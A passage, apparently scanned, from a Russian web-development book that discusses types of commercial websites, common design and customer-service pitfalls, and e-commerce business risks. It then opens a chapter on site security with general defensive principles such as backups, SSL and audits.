Типы коммерческих веб-сайтов Как правило, коммерческие веб-сайты выполняют одну или несколько из перечис- ленных ниже функций. Распространение информации о компании путем публикации онлайновых брошюр. Прием заказов на поставку товаров или услуг. Предоставление услуг или цифровой продукции. Повышение привлекательности товаров или услуг. Снижение расходов. Зачастую отдельный компонент веб-сайта может выполнять несколько из перечислен- ных функций. Ниже рассматривается каждая из этих категорий и общепринятые спо- собы их применения для получения прибыли или достижения каких-то иных целей. Данный раздел книги призван помочь читателю сформулировать цели, пресле- дуемые при создании веб-сайта: каково его назначение и каким образом каждая его функция будет способствовать коммерческой деятельности. Сетевые брошюры В начале девяностых годов прошлого века большинство веб-сайтов представляли собой не что иное, как сетевые брошюры или средства продаж. Сетевые брошюры и поныне остаются одним из наиболее популярных типов коммерческих веб-сайтов, удобным для первоначального обращения в Интернет или в качестве недорогого уп- ражнения'в рекламе. Брошюрным сайтом может быть все что угодно — от представленных в форме веб- страниц визитных карточек до обширной коллекции маркетинговой информации. В любом случае, назначение такого сайта и смысл его существования — привлечение внимания клиентов к конкретной коммерческой деятельности. Подобные сайты не приносят прямого дохода, однако способствуют росту доходов, получаемых обычны- ми средствами. Разработка сайта упомянутого вида требует решения нескольких технических про- блем, впрочем, характерных и для других ситуаций. Отсутствие важной информации. Невыразительное представление. Отсутствие реакции на обратную связь с пользователями. Несвоевременное обновление сайта. Отсутствие отслеживания результатов работы. Отсутствие важной информации Какие сведения понадобятся посетителю вашего сайта? В зависимости от того, что посетителю уже известно, он может затребовать подробное описание товара, а может довольствоваться телефонами и адресами компании. На многих сайтах вообще отсутствует полезная либо необходимая информация. Как минимум, сайт должен сообщать посетителям, чем занимается данная компания, какие географические регионы она обслуживает и как с ней можно связаться. Глава 14. Эксплуатация сайта электронной коммерции 317
Невыразительное представление “В Интернете никто не увидит, что ты собака” — гласит старая поговорка1. Точно так же, как мелкие организации (то бишь “собаки”) могут выглядеть в Интернете весьма представительно, часто на невыразительных веб-сайтах даже самые крупные компании выглядят мелкими и непрофессиональными. Веб-сайт любой компании должен соответствовать самым высоким стандартам. Текст должен быть написан и вычитан профессионалами, прекрасно владеющими языком, а графика должна быть отчетливой, выразительной и быстро загружаемой. Вообще говоря, на коммерческом сайте следует очень тщательно относиться к вы- бору графики и цветов, чтобы они соответствовали тому образу компании, который планируется создать. Особая осторожность требуется в выборе анимации и звука: ни- когда не воспроизводите анимацию и не проигрывайте звуковые клипы без явного их затребования посетителем. Конечно, страницы сайта не могут выглядеть совершенно одинаково на любых машинах, во всех операционных системах и браузерах; тем не менее, они должны быть доступными для подавляющего большинства пользователей и выводиться на эк- ран без ошибок. Обязательно проверьте их для самых различных разрешений экрана и для большинства сочетаний браузеров с операционными системами. Отсутствие реакции на обратную связь с пользователями В Сети, как и в реальном мире, хорошее обслуживание крайне важно для привле- чения и удержания клиентов. Многие компании — как мелкие, так и крупные — грешат тем, что не отвечают своевременно и по существу на запросы клиентов, отправлен- ные по адресу электронной почты, указанному на веб-странице. Клиент же, отправив сообщение по электронной почте, рассчитывает на более скорый ответ; нежели при обмене традиционными почтовыми отправлениями. Поэтому, чтобы не обидеть кого- либо невниманием, обработкой почты следует заниматься ежедневно. Адреса электронной почты, указываемые на веб-страницах, должны принадлежать компании и ее подразделениям, но никак не отдельным сотрудникам. Иначе кто бу- дет заниматься почтой, адресованной, скажем, fred. smith@example. com после того, как Фред уволится? У сообщений, адресованных на sales@example.com, существенно больше шансов попасть к тому, кто придет на место уволившегося сотрудника. К тому же такое сообщение может быть доставлено нескольким сотрудникам компании, что увеличивает вероятность быстрого ответа. Возможно, вы уже; сталкивались с поступлением множества спама по адресам, ука- занным на веб-страницах. Обязательно учитывайте фактор спама при выборе способа перенаправления почтовых сообщений, приходящих на упомянутые адреса. Более удач- ным решением будет организация обратной связи с помощью формы, нежели предос- тавление возможности напрямую отправлять электронную почту по набору адресов. Несвоевременное обновление сайта Необходимо внимательно следить за тем, чтобы информация, представленная на сайте, не устаревала. Содержимое страниц должно периодически обновляться, отра- жая все организационные изменения в компании. 1 Следует признать, что “старая поговорка” об Интернете не столь уж и стара. На самом деле, это подпись под карикатурой Питера Штайнера (Peter Steiner), которая была напеча- тана в газете The New Yorker за 5 июля 1998 г. 318 Часть III. Электронная коммерция и безопасность
“Заросший мхом” сайт способен отвадить клиентов, поскольку порождает неуве- ренность в корректности предоставляемой информации. Во избежание “застоя” необходимо своевременно обновлять страницы вручную либо динамически с помощью какого-либо языка сценариев, например, РНР. В этом случае достаточно запрограммировать в сценариях обращение к обновляемым источ- никам информации. Отсутствие отслеживания результатов работы Создание веб-сайта — только половина дела. Необходимо еще окупить затрачен- ные усилия и финансы. В частности, если сайт принадлежит крупной компании, ее руководство рано или поздно потребует отчета о том, каков вклад этого сайта в про- цветание предприятия. В маркетинговых кампаниях, проводимых традиционными способами, крупные компании тратят десятки тысяч долларов на изучение рынка — причем как до нача- ла этих кампаний, так и после их завершения, чтобы иметь возможность судить об эффективности проделанной работы. Этот подход вполне пригоден и для оценки веб-проектов — по крайней мере, сравнительно крупных и обеспеченных солидным бюджетом. Возможны также более простые и недорогие варианты. Изучение журналов сервера. На веб-серверах хранится множество сведений о выполнении запросов. Большая часть этой информации совершенно бесполез- на, к тому же представлена в таком виде, что найти в ней что-либо осмысленное практически невозможно. Чтобы выудить из этого изобилия хоть что-нибудь по- лезное, необходим анализатор журналов. Существуют две популярных програм- мы такого рода, распространяемые бесплатно: Analog (http://www.analog.cx) и Webalizer (http://www.mrunix.net/webalizer). Можно также воспользо- ваться более совершенной коммерческой программой наподобие Summary (http: //summary.net) или WebTrends Analytics (http: / /www.webtrends.com/). Анализаторы журналов позволяют определять зависимость трафика от времени и посещаемость отдельных страниц. Мониторинг продаж. Назначение сетевых брошюр состоит в способствова- нии росту продаж. Чтобы оценить, насколько успешно они справляются с этой задачей, достаточно сравнить уровень продаж до и после запуска веб-сайта. Разумеется, полученный результат трудно точно оценить, если одновременно выполнялись другие маркетинговые мероприятия. Организация обратной связи. Об отношении пользователей к веб-сайту мож- но узнать у самих пользователей, поместив на страницы формы обратной свя- зи или указав соответствующие адреса электронной почты. Обсуждение можно стимулировать, установив для его участников небольшое поощрение — скажем, участие в какой-нибудь лотерее. Изучение типового пользователя. Надежную оценку сайта или даже прототи- па можно выполнить при помощи целевых групп добровольцев. Добровольцам предлагается оценить сайт, а затем их мнения и впечатления фиксируются на основе интервью. Исследование методом целевых групп, которое проводится силами профессиона- лов, способных оценить демографический и личностный срез будущего сообщества пользователей, а также профессионально проинтервьюировать всех участников экспе- римента, может потребовать немалых средств. Расходы можно свести практически к Глава 14. Эксплуатация сайта электронной коммерции 319
нулю, доверив работу непрофессионалам, но в этом случае трудно гарантировать адек- ватность моделируемых условий и предстоящей реальности. Впрочем, подключение к эксперименту компании, занимающейся исследованиями рынка — не единственный вариант получения достоверных результатов методом це- левых групп. Можно организовать собственные группы под руководством опытного координатора, умеющего работать с людьми и непредвзятого. В группу следует вклю- чать от шести до десяти человек. Чтобы модератор мог полностью сосредоточиться на своей работе, в помощь ему следует выделить протоколиста или секретаря. Точность результатов будет зависеть от того, насколько удачно подобран состав групп. Группа, составленная из друзей или сотрудников, вряд ли окажется особенно полезной. Прием заказов на товары и услуги Если реклама в сети организована основательно, следующий логический шаг со- стоит в предоставлении пользователям возможности размещать заказы, не покидая сеть. Обычным продавцам прекрасно известно, как важно побудить клиента принять решение, не откладывая. Чем больше человек размышляет, тем больше вероятность того, что он отложит покупку или вовсе передумает. Следовательно, в интересах продавца обслужить его как можно быстрее. Необходимость отойти от компьютера, чтобы связаться с продавцом по телефону, а то и лично появиться в магазине — это серьезное препятствие на пути к завершению сделки. Поэтому, при наличии эффек- тивной сетевой системы рекламирования, способной убедить посетителя совершить покупку, целесообразно предоставить им возможность сделать это немедленно, не покидая веб-сайт. Прием заказов через Интернет очень удобен для многих видов бизнеса. В конце концов, в заказах нуждается любое предприятие, поэтому предоставление клиентам возможности делать это через сеть если и не увеличит число продаж, то, по меньшей мере, снизит нагрузку на продавцов. Внедрение службы онлайнового заказа, естест- венно, потребует дополнительных расходов, равно как и создание динамического сайта, доступ к средствам приема платежей и обслуживание клиентов. Основная привлекательность онлайновых продаж состоит в том, что большинст- во затрат остаются неизменными, вне зависимости от того, сколько вы принимаете заказов — тысячу или, скажем, миллион. Для того чтобы вернуть вложенные средст- ва, предлагаемые товары или услуги должны быть востребованы в разумных количе- ствах. Обязательно проанализируйте саму возможность продажи того, что вы намере- ваетесь предложить, через сайт электронной коммерции. Товары и услуги, продаваемые через Интернет — это, главным образом, книги и журналы, компьютеры и оборудование, музыкальные записи, одежда, туристические путевки и билеты на развлекательные мероприятия. Впрочем, не стоит отчаиваться, если ваш товар не относится ни к одной из на- званных категорий — здесь уже основательно утвердились многие солидные компа- нии. Разумнее будет рассмотреть факторы, которые поспособствовали продвижению указанных товаров на сетевой рынок. Товар для электронной коммерции должен быть нескоропортящимся, удобным в доставке и достаточно дорогим, чтобы стоимость доставки казалось приемлемой. Но он должен быть не настолько дорогим, чтобы у покупателя не возникало желание во- очию убедиться в реальности покупки прежде, чем выложить за нее деньги. Для электронной коммерции больше подходят промышленные товары. Покупая, ска- жем, авокадо, мы стараемся выбрать лучшие плоды и часто не прочь пощупать каждый. 320 Часть III. Электронная коммерция и безопасность
Ведь они не все одинаковы. Что же касается книг, компакт-дисков или компьютер- ных программ, то здесь товары одного наименования неотличимы друг от друга. Покупателю нет необходимости видеть каждую отдельную покупку. Еще одно требование к товарам электронной коммерции состоит в том, что они должны быть ориентированы на пользователей Интернета. Во время написания этой книги в данную категорию входили, в основном, трудоустроенные молодые люди, имею- щие доходы выше среднего и проживающие в крупных городах. Впрочем, со временем в категорию пользователей Интернета, скорее всего, войдет все население планеты. Существуют товары, которые ни разу не упоминались в отчетах по исследованию рынка электронной коммерции, но, тем не менее, достаточно перспективные в отно- шении упомянутого способа продаж. Например, Интернет может оказаться идеаль- ным средством продажи товара, ориентированного на определенный сегмент рынка. Даже если в городе, где вы проживаете, только 10 человек коллекционируют игруш- ки по мотивам комиксов восьмидесятых годов, сайт, продающий их, может функцио- нировать, если и в других городах найдется хотя бы по 10 таких коллекционеров. Некоторые товары вряд ли могут быть пригодными для электронной коммер- ции. Таковыми являются дешевые и скоропортящиеся изделия, например, бакалея. Несколько компаний все же пытались организовать их продажу через сеть, однако не достигли особого успеха. Существуют также товары, которые удобно рекламировать с помощью сетевых брошюр, но продавать традиционным способом. Это крупные и дорогостоящие изделия — автомобили, недвижимость и тому подобное. Покупки подобного рода не делаются заочно и без тщательного взвешивания множества вари- антов; кроме того, возникают проблемы с доставкой (особенно это касается недви- жимости). Ниже перечислены обстоятельства, которые могут помешать сделать заказ потен- циальному покупателю: вопросы, оставшиеся без ответа; недоверие; неудобство в использовании; несовместимость. Любое из этих обстоятельств способно помешать покупателю оформить заказ. Вопросы, оставшиеся без ответа Если потенциальный покупатель не найдет ответа на один из своих вопросов, он, по всей видимости, покинет сайт, так и не совершив покупку. Из этого можно сде- лать несколько выводов. Прежде всего, веб-сайт должен быть хорошо организован, так, чтобы даже покупатель, посетивший его впервые, мог без труда найти все, что его интересует. Далее посетителю необходимо предоставить всю информацию, кото- рая только может потребоваться, но так, чтобы не утомить его. Пользователи Сети не склонны к вдумчивому чтению — они, скорее, предпочитают беглый просмотр. Следовательно, тексты должны быть лаконичными. Существуют оценки максималь- но допустимых объемов размещаемой информации, эмпирически определенные для каждого из средств рекламы. В отношении веб-сайтов действуют несколько иные пра- вила. Здесь важны, главным образом, два параметра. Первый — стоимость сбора и обновления информации, и второй — разумное ее размещение, структурирование и снабжение ссылками, которые вместе позволят пользователю быстро и без труда во всем разобраться. Глава 14. Эксплуатация сайта электронной коммерции 321
Веб-сайт подобен продавцу, не требующему заработной платы и отдыха. Это, од- нако, не освобождает от необходимости правильно организовать обслуживание кли- ентов. Следует всячески поощрять посетителей задавать вопросы и незамедлительно отвечать на эти вопросы по телефону, электронной почте, в чате или пользуясь дру- гими средствами связи. Доверие С какой стати посетитель веб-сайта будет доверять представленной на нем компа- нии, если ему совершенно не известна торговая марка этой компании? Ведь создать сайт может кто угодно. Конечно, .отсутствие доверия не может помешать чтению се- тевой брошюры, но совсем иное дело — оформление заказа. В последнем случае кли- енту совершенно необходимо знать, с кем он имеет дело — с заслуживающей доверия организацией, или с уже упоминавшейся ранее “собакой”. Совершая покупки в сети, клиенты зачастую бывают озабочены следующими об- стоятельствами . Как будет использоваться предоставленная клиентом персональная инфор- мация? Не станет ли она доступной для посторонних? Не будет ли использована для назойливой рекламы? Надежно ли будет храниться? Очень важно сообщить клиенту, как будут использоваться предоставленные им сведения. Это называет- ся политикой конфиденциальности, и ее описание должно быть легко доступно. Какова репутация компании, представленной на сайте? Если компания за- регистрирована в соответствующем учреждении, имеет физический адрес, по- мещение и телефонный номер, существует уже в течение нескольких лет, то вполне можно рассчитывать на то, что она не окажется очередной “конторой по заготовке рогов и копыт”, обладающей лишь несколькими веб-страницами и, как максимум, абонентским ящиком с номером таким-то. Перечисленные выше сведения обязательно должны быть представлены на страницах веб-сайта. Что делать покупателю, недовольному покупкой? Каковы условия возврата денег неудовлетворенному покупателю? Кто в этом случае оплачивает расходы по доставке? До сих пор условия возврата покупки, заказанной по почте, были более либеральными, чем в случае приобретения непосредственно в магазине. Очень часто гарантируется безусловный возврат. Следует оценить рост расхо- дов на возврат покупок и сравнить его с доходами за счет дополнительных кли- ентов, привлеченных либеральной политикой возврата. Каковой бы ни была эта политика, ее описание необходимо разместить на страницах сайта. Может ли клиент доверить компании сведения о своей кредитной карточке? Именно сомнения по поводу безопасности передачи этих сведений через Интер- нет вызывают наибольшие опасения у посетителей веб-магазинов. Поэтому не- обходимо не только обеспечить надежную защиту информации при обработке кредитных карточек, но также продемонстрировать серьезное к этому отноше- ние. Как минимум, сведения о карточках должны передаваться из браузера на сервер с использованием протокола SSL; на самом же сервере потребуется обес- печить должный уровень администрирования с соблюдением режима секретно- сти. Подробнее мы обсудим это в последующих главах. 322 Часть III. Электронная коммерция и безопасность
Удобство использования Клиенты различаются по уровню как компьютерной, так и общей грамотности, говорят на разный языках, не все обладают крепкой памятью и острым зрением. Отсюда следует, что веб-сайт должен быть по возможности простым. О проектиро- вании удобного пользовательского интерфейса сказано и написано немало, тем не менее, приведем еще несколько полезных советов. Веб-сайт должен быть по возможности простым. Чем больше разделов, рек- ламы и отвлекающих элементов будет на каждой странице, тем больше вероят- ность того, что пользователь во всем этом запутается. Текст должен быть отчетливым. Не следует применять причудливые шрифты. Текст не должен быть слишком мелким; необходимо учитывать зависимость его размера от типа экрана. Следует максимально упростить процесс формирования заказа. Как подска- зывает интуиция и свидетельствует опыт, чем больше щелчков приходится де- лать клиенту для осуществления заказа, тем меньше вероятность того, что он выдержит эту процедуру до конца. Необходимо свести к минимуму количество операций. Однако при этом следует иметь в виду, что патент США2 на процесс с использованием единственного щелчка, именуемый “1-Click”, принадлежит сайту Amazon. com. Этот патент активно оспаривается владельцами многих веб-сайтов. Постарайтесь не дать пользователям запутаться. Снабжайте страницы ори- ентирами и подсказками, по которым пользователь смог бы определять свое местоположение. Выделяйте цветом ссылки, которыми посетитель уже вос- пользовался. Если клиенту предоставляется виртуальная товарная тележка, в которую он “ук- ладывает” покупки, ссылка на нее должна присутствовать на экране в любой момент времени. Совместимость Веб-сайт обязательно должен быть протестирован в различных браузерах и опера- ционных системах. Если сайт не в состоянии взаимодействовать с каким-то популяр- ным браузером или операционной системой, это не только будет свидетельствовать о том, что он сделан непрофессионально, но и приведет к потере части потенциаль- ных клиентов. * Если сайт уже эксплуатируется, для определения типов используемых клиентами браузеров можно прибегнуть к информации из журналов сервера. Опыт показывает, что достаточно тестировать веб-сайт в Firefox на всех платформах, в последних двух версиях Microsoft Internet Explorer, в последних версцях Internet Explorer и Safari для Apple Мас, на карманных мобильных устройствах и в текстовом браузере напо- добие Lynx — и ваш сайт смогут разглядывать почти все пользователи. Не забывайте проверять, как выглядит ваш сайт при различных разрешениях экрана. Некоторое пользователи отдают предпочтение экранам с высоким разрешением, однако часть пользователей получают доступ к сайту с помощью мобильных телефонов или КПК. : 2 Патент США и патент торговой палаты № 5 960 441. Метод и система размещения заказа [ на приобретение товаров по сети связи. [. Глава 14. Эксплуатация сайта электронной коммерции 323
Очень сложно добиться, чтобы сайт одинаково хорошо выглядел при ширине экрана 2048 точек и при ширине 240 точек. Новейшие функции и средства следует применять только в том случае, если пред- полагается создание нескольких версий веб-сайта. Стандартный HTML- и XHTML-код должен работать везде, к тому же старые возможности гораздо лучше поддерживают- ся новыми браузерами. Предоставление услуг и цифровых товаров Многие товары и услуги продаются через Интернет, но доставляются клиенту курьером. Небольшая их часть может быть доставлена непосредственно через сеть. Если услуга или товар могут быть переданы через модем, их заказ, оплата и доставка происходят незамедлительно, без вмешательства человека. Наиболее характерный пример подобной услуги — информация. Часто она пре- доставляется бесплатно либо оплачивается за счет рекламы, иногда — по подписке; возможно и индивидуальное назначение цены. К цифровым товарам относятся электронные книги и музыкальные записи в циф- ровых форматах, подобных MP3 или MP4, изобразительная продукция из библиотеч- ных фондов, переведенная в цифровую форму, а также программное обеспечение, которое также необязательно распространять только в виде записей на компакт-дис- ках. Все это можно выгружать непосредственно из Интернета. Среди услуг, предоставляемых таким способом — доступ в Интернет, предоставле- ние и обслуживание веб-сайтов, а также некоторые профессиональные услуги, кото- рые можно заменить экспертными системами. Физическая доставка товара, заказанного через веб-сайт, по сравнению с загруз- кой цифрового продукта обладает как преимуществами, так и недостатками. Физическая доставка требует расходов, в то время как стоимость загрузки через Интернет практически равна нулю. Это означает, что расходы на доставку едини- цы цифровой продукции мало отличаются от расходов на доставку тысячи единиц. Конечно, это верно лишь до определенного предела, пока не потребуется установка дополнительного оборудования с целью увеличения пропускной способности. Продажа цифровых товаров или услуг легко может быть осуществлена мгновенно. Человек, заказавший физический товар, получит его через некоторое время — ска- жем, в течение нескольких дней. Загрузка через Интернет длится несколько секунд или минут, но именно это может привести к проблемам. Доставка приобретенного товара электронными средствами подразумевает незамедлительность доставки. При этом не представляется возможным контролировать процесс вручную или распре- делять операции с учетом суточных колебаний нагрузки. В результате системы не- медленной доставки менее защищены от компьютерных мошенников и сопряжены с большей загрузкой ресурсов. Цифровые товары и услуги идеально подходят для электронной коммерции, но они составляют лишь ограниченную часть всех товаров и услуг, которые могут дос- тавляться электронными средствами. Повышение привлекательности товаров и услуг Существуют области успешного коммерческого использ'ования Интернета, не связанные непосредственно с продажей товаров или услуг. Например, компании экс- пресс-доставки почты UPS (www.ups.com) и Federal Express (www.fedex.com) пред- лагают службы слежения, не предназначенные для непосредственного извлечения 324 Часть III. Электронная коммерция и безопасность
прибыли, но дополняющие собой основные услуги. Позволяя клиентам отслеживать продвижение посылок и состояние банковских счетов, компании получают преиму- щество перед конкурентами. К этой же категории относится форумы поддержки. Создание таких групп, в ко- торых клиенты могли бы обсуждать проблемы, возникающие при пользовании про- дукции компании, имеет надежное экономическое обоснование. Обмен опытом по- зволяет решать множество проблем, к тому же подобная организация технической поддержки позволяет клиентам экономить на оплате дальней телефонной связи, и никак не ограничена рамками рабочего времени. Что же касается компании, для нее эти группы — наиболее дешевый способ удовлетворения претензий клиентов. Снижение расходов Один из наиболее популярных побудительных мотивов использования Интернета — стремление к снижению расходов. Это достигается за счет распространения инфор- мации по сети, более оперативных и дешевых коммуникаций, замены служб или цен- трализации операций. Веб-сайт — часто наиболее экономичное средство доставки информации большо- му количеству людей. Прейскуранты, каталоги, документированные процедуры, спе- цификации и многое другое значительно дешевле публиковать на веб-сайте, нежели печатать и рассылать бумажные копии, особенно в условиях частого обновления информации. Что касается коммуникационных возможностей Интернета, то ими можно воспользоваться для распространения предложений с быстрым получением результатов, для связи клиентов с оптовыми продавцами или изготовителями (минуя посредников) и т.д. В любом случае результат будет один — снижение расходов и рост прибыли. Снижению расходов способствует также замена традиционных служб электронны- ми. Примером довольно-таки смелого решения был сайт Egghead.com. Эта компания закрыла свою сеть компьютерных магазинов и полностью сосредоточилась на элек- тронной коммерции. Разумеется, организация крупного сайта электронной коммер- ции стоит немалых денег, но это все же не идет ни в какое сравнение с расходами на поддержку более 80 розничных торговых точек. Несомненно, замена существующей службы также связана с риском. Как минимум, это ведет к потере клиентов, которые не используют Интернет. Новое предприятие Egghead.com не работает. Компания закрыла все физические магазины во время бума “dot com” (повального перехода всех на электронную ком- мерцию) в 1998 г. и попала под защиту от банкротства в соответствие с главой 11 Кодекса о банкротствах США в 2001 г., во время спада интереса к электронной ком- мерции. (Упомянутая глава 11 регулирует вопросы реорганизации неплатежеспо- собных (обанкротившихся) компаний под руководством старого менеджмента (обычно совместно с комитетом кредиторов) в попытке избежать полной ликвида- ции компании). Кроме того, в настоящее время компания, похоже, перешла “под крылышко” Amazon.com, что легко проверить, набрав в адресной строке браузера Egghead.com и просмотрев предложенную информацию — прим, ред.) Снижению расходов способствует и централизация. Если компания имеет не- сколько офисов, ей приходится вносить многочисленные платежи за аренду; нести накладные расходы, содержать многочисленный штат сотрудников и обеспечивать оснащение рабочих мест. Предприятие электронного бизнеса может располагаться в одном месте и в то же время быть доступным из любой точки земного шара. Глава 14. Эксплуатация сайта электронной коммерции 325
Риски и угрозы Любой бизнес связан с рисками, возникающими вследствие конкуренции, воров- ства, неустойчивости общественных предпочтений, стихийных бедствий — список можно продолжать до бесконечности. Однако риски, связанные с электронной ком- мерцией, имеют свои особенности и источники, среди которых: взломщики; невозможность быстрой отдачи средств; отказы компьютерного оборудования; сбои питания, коммуникационных линий или сети; зависимость от служб доставки; интенсивная конкуренция; ошибки программного обеспечения; изменения в политике и налогообложении; ограниченные возможности системы. Взломщики Наиболее популяризованная угроза электронной коммерции исходит от компью- терных злоумышленников — взломщиков. Любое предприятие подвержено угрозе напа- дения преступников, крупные же предприятия электронной коммерции привлекают внимание компьютерных взломщиков разного уровня квалификации: Причины этого внимания различны. В одних случаях это просто “*шсто спортив- ный” интерес, в других — жажда славы Герострата, желание навредить, попытки хи- щения денег либо бесплатного приобретения товаров и услуг. Безопасность сайта обеспечивается сочетанием следующих мер. Резервное копирование важной информации. Кадровая политика, позволяющая привлекать к работе только добросовестных людей и стимулировать добросовестность персонала. Наиболее опасны попыт- ки взлома, исходящие изнутри компании. Использование программного обеспечения с возможностями защиты данных и своевременное его обновление. Обучение персонала идентификации целей и распознаванию слабых мест сис- темы. Аудит и ведение журналов с целью обнаружения успешных и неудачных попы- ток взлома. Как правило, взлом удается по причине легко угадываемого пароля, распростра- ненных ошибок в конфигурации и несвоевременного обновления версий программ- ного обеспечения. Для защиты от не слишком изощренного взломщика достаточно принятия относительно простых мер; однако на крайний случай должна иметься ре- зервная копия критичных данных. 326 Часть III. Электронная коммерция и безопасность
Невозможность быстрой отдачи средств Хотя атаки взломщиков вызывают наибольшие опасения, однако большинство не- удач в области электронной коммерции все же связано с традиционными экономи- ческими факторами. Создание и маркетинг крупного сайта электронной коммерции требуют немалых средств. Компании часто предпочитают получить вначале убытки, но впоследствии увеличить число клиентов и доходы — когда торговая марка завоюет свое место на рынке. Крах электронной коммерции привел к разорению множества компаний, кото- рые специализировались только на ней. В цепочке крупных провалов стоит упомя- нуть европейский филиал boo. com, сменивший владельца после потери за полгода почти 120 миллионов долларов США. При этом причина неудачи заключалась не в недостаточном объеме продаж — просто компания тратила намного больше, чем за- рабатывала. Отказы компьютерного оборудования Совершенно очевидно, что отказ важной части одного из компьютеров компании, деятельность которой сосредоточена в Интернете, может нанести ей существенный ущерб. На сайтах, работающих под высокой нагрузкой или выполняющйх важные функ- ции, оправдано наличие резервных систем, благодаря чему выход из строя любого компонента не сказывается на функционировании всей системы. Однако и здесь не- обходимо оценить потери от возможных простоев в сравнении с расходами на при- обретение дополнительного оборудования. Множество компьютеров, на которых выполняются Apache, РНР и MySQL, отно- сительно просты в настройке; кроме того, механизм репликации MySQL позволяет выполнять общую синхронизацию информации в базах данных. Тем не менее, боль- шое количество компьютеров означает и большие затраты на поддержание оборудо- вания, сетевой инфраструктуры и хостинга. Сбои питания, коммуникационных линий, сети и службы доставки Зависимость от Интернета означает зависимость от множества взаимосвязанных поставщиков услуг, поэтому, если связь с остальным миром вдруг обрывается, не ос- тается ничего иного, как только ждать ее восстановления. Это же относится к пе- ребоям в электропитании и забастовками или иным перебоям в работе компании, занимающейся доставкой. Располагая достаточным бюджетом, можно иметь дело с несколькими поставщи- ками услуг. Это влечет дополнительные расходы, однако обеспечивает бесперебой- ность работы в условиях отказа одного из них. От кратких перебоев в электропита- нии можно защититься установкой источников бесперебойного питания. Интенсивная конкуренция В случае открытия киоска на улице оценка конкурентной среды не составляет осо- бого труда — конкурентами будут все, кто торгует тем же товаром в пределах видимо- сти. В случае электронной коммерции ситуация несколько сложнее. Глава 14. Эксплуатация сайта электронной коммерции 327
В зависимости от расходов на доставку, и также учитывая колебания курсов валют и различий в стоимости рабочей силы, конкуренты могут располагаться где угодно. Интернет — в высшей степени конкурентная и активно развивающаяся среда. В попу- лярных отраслях бизнеса новые конкуренты возникают почти ежедневно. Риск, связанный с конкуренцией, с трудом поддается снижению. Здесь наиболее верная стратегия — поддержка современного уровня технологии. Ошибки программного обеспечения Когда коммерческая деятельность зависит от программного обеспечения, она уяз- вима к ошибкам в этом программном обеспечении. Вероятность критических сбоев можно свести к минимуму за счет выбора надеж- ного программного обеспечения, тщательного тестирования после каждого случая замены частей системы и применения формальных процедур тестирования. Очень важно сопровождать тщательным тестированием любые нововведения в систему. Для уменьшения возможного урона следует своевременно создавать резервные ко- пии всех данных; при внесении каких-либо изменений необходимо сохранять преж- ние конфигурации программ; для быстрого обнаружения возможных неисправностей требуется вести постоянный мониторинг системы. Изменения в политике и налогообложении Во многих странах деятельность в сфере электронного бизнеса не определена (либо недостаточно определена) законодательно. Однако такое положение не может сохраняться вечно, и урегулирование некоторых вопросов может привести к воз- никновению ряда проблем, способных повлечь закрытие некоторых предприятий. К тому же всегда существует опасность повышения налогов. Этих проблем избежать невозможно. В этой ситуации единственной разумной ли- нией поведения будет внимательное отслеживание ситуации и приведение деятель- ности предприятия в соответствие с законодательством. Следует также изучить воз- можность лоббирования собственных интересов. Ограниченные возможности системы На этапе проектирования системы обязательно следует предусмотреть возмож- ность ее роста. Успех неразрывно связан с нагрузками, поэтому система должна до- пускать расширение возможностей. Ограниченного роста производительности можно достичь заменой оборудова- ния, однако скорость даже самого совершенного компьютера имеет предел, поэтому в программном обеспечении должна быть предусмотрена возможность при достиже- нии указанного предела распределять нагрузку по нескольким системам. Например, система управления базами данных должна обеспечивать одновременную обработку запросов от нескольких машин. Наращивание любой системы не проходит безболезненно, однако своевременное его планирование на этапе разработки позволяет предвидеть и устранять многие неприятности, связанные с увеличением количества клиентов. 328 Часть III. Электронная коммерция и безопасность
Выбор стратегии Многие полагают, что бурный рост Интернета исключает возможность эффек- тивного планирования. Мы придерживаемся противоположной точки зрения: плани- рование крайне необходимо именно ввиду изменчивости Интернета. Определение целей и выбор стратегии позволяет предвидеть будущие изменения и реагировать на них с опережением. Итак, мы разобрались с целями создания коммерческого веб-сайта и некоторыми из основных грозящих ему опасностей, и теперь в состоянии разработать собствен- ную стратегию. Стратегия должна отражать модель коммерческой деятельности. Зачастую мо- дель — это нечто давно известное, но воспринимаемое нами как свежая и гениальная идея. Воспользоваться ли идеями, уже апробированными в Сети, либо двигаться соб- ственным путем — каждый должен решать для себя сам. Что дальше В следующей главе мы рассмотрим вопросы безопасности электронной коммер- ции — терминологию, потенциальные угрозы и методы защиты. Глава 14. Эксплуатация сайта электронной коммерции 329
15 Безопасность сайта электронной коммерции В этой главе обсуждается роль безопасности в электронной коммерции. Мы обсу- дим, кто заинтересован в получении вашей информации, как ее можно попы- таться получить, принципы создания стратегии, которая позволит избежать проблем подобного рода, а также некоторые технологии для гарантированной защиты веб- сайта, в числе которых шифрование, аутентификация и отслеживание. В главе рассматриваются следующие темы. Важность деловой информации. Угрозы безопасности. Разработка политики защиты. Удобство использования, производительность, снижение затрат и безопасность. Принципы аутентификации. Использование аутентификации на сайте. Основы шифрования. Шифрование с секретным ключом. Шифрование с открытым ключом. Цифровые подписи. Цифровые сертификаты. Защищенные веб-серверы. Аудит и журналы. Брандмауэры. Резервное копирование данных. Физическая защита. 330 Часть III. Электронная коммерция и безопасность
Важность деловой информации При рассмотрении вопросов безопасности первое, что потребуется оценить — это важность того, что вы пытаетесь защитить. Необходимо принимать во внимание две стороны — важность для вас и важность для потенциальных взломщиков. Очень соблазнительно думать, что наивысшая степень защиты необходима всегда и везде для всех сайтов, тем не менее, безопасность имеет свою цену. Перед тем как вы решите, какие расходы и усилия оправдывают ваши средства защиты, неплохо было бы определить ценность вашей информации. Очевидно, что ценность информации на компьютерах пользователя-любителя, банка и военной организации существенно различается. Точно так же есть различия, насколько далеко может зайти атакующий для получения доступа к этой информа- ции. Насколько притягательно для взломщика содержимое вашего компьютера? Вероятно, пользователи-любители располагают весьма ограниченным временем, чтобы изучить защиту или поработать над защитой собственных систем. Учитывая, что на компьютерах любителей, как правило, хранится информация, ценность кото- рой невелика для всех, за исключением владельца, то атаки на такие системы будут нечастыми и ограниченными в плане усилий. Однако пользователи подключенных к сети компьютеров должны предпринять разумные меры предосторожности. Даже если данные на компьютере не представляют никакого интереса, этот компьютер мо- жет быть использован в качестве анонимной стартовой площадки для атак на другие системы. Военные компьютеры являются очевидной целью для атак, как со стороны инди- видуальных пользователей, так и иностранных правительств. Поскольку атакующие правительства могут обладать внушительными ресурсами, благоразумно направить дополнительные инвестиции в персонал и другие ресурсы, чтобы предпринять все возможные меры предосторожности в данном домене. Привлекательность сайта электронной коммерции для взломщиков находится где- то между двумя описанными выше крайностями. 